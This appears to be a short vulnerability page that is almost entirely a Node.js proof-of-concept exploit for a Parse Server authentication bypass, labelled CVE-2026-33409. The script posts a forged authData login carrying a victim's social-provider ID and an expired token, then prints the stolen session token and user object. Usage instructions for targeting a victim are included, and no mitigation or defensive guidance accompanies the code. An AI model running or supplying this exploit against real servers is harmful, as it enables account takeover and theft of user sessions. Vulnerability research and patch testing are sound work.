CVE-2026-33409 Parse Server 身份认证绕过漏洞

// Conceptual PoC for Parse Server Auth Bypass (CVE-2026-33409) // This script demonstrates how an attacker can login as a user // if 'allowExpiredAuthDataToken' is enabled. const axios = require('axios'); const TARGET_URL = 'http://vulnerable-parse-server.com/parse/login'; const APP_ID = 'YOUR_PARSE_APP_ID'; async function exploitAuthBypass(targetUserId) { const payload = { authData: { // Example provider: facebook, google, etc. // The attacker only needs the 'id' of the victim's provider account. facebook: { id: targetUserId, access_token: 'expired_or_invalid_token' // Validation is bypassed } } }; const headers = { 'X-Parse-Application-Id': APP_ID, 'Content-Type': 'application/json' }; try { const response = await axios.post(TARGET_URL, payload, { headers }); if (response.data && response.data.sessionToken) { console.log('[+] Exploit Successful!'); console.log(`[+] Session Token: ${response.data.sessionToken}`); console.log(`[+] User Object: ${JSON.stringify(response.data)}`); } else { console.log('[-] Exploit Failed: No session token returned.'); } } catch (error) { console.log(`[-] Request Failed: ${error.message}`); } } // Usage: Replace '123456789' with the victim's provider ID exploitAuthBypass('123456789');